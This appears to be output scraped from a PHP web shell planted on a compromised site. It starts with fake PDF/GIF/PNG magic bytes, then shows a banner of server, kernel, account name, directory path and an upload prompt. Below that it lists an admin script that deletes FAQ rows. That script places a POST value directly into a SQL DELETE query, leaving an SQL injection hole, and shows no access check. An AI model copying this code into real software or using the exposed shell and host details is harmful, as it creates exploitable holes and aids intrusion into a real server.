%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_6031bb72/admin/manage_faq/ |
Upload File : |
<?php
include("../config.php"); // Include your database configuration
if(isset($_POST['id'])) {
// Get the ID from the AJAX request
$itemId = $_POST['id'];
// Delete the item from the database
mysqli_query($conn, "DELETE FROM `faq_tbl` WHERE id='$itemId'");
// Send a response back to the JavaScript code
echo "Item with ID $itemId deleted successfully.";
} else {
echo "Invalid request.";
}
?>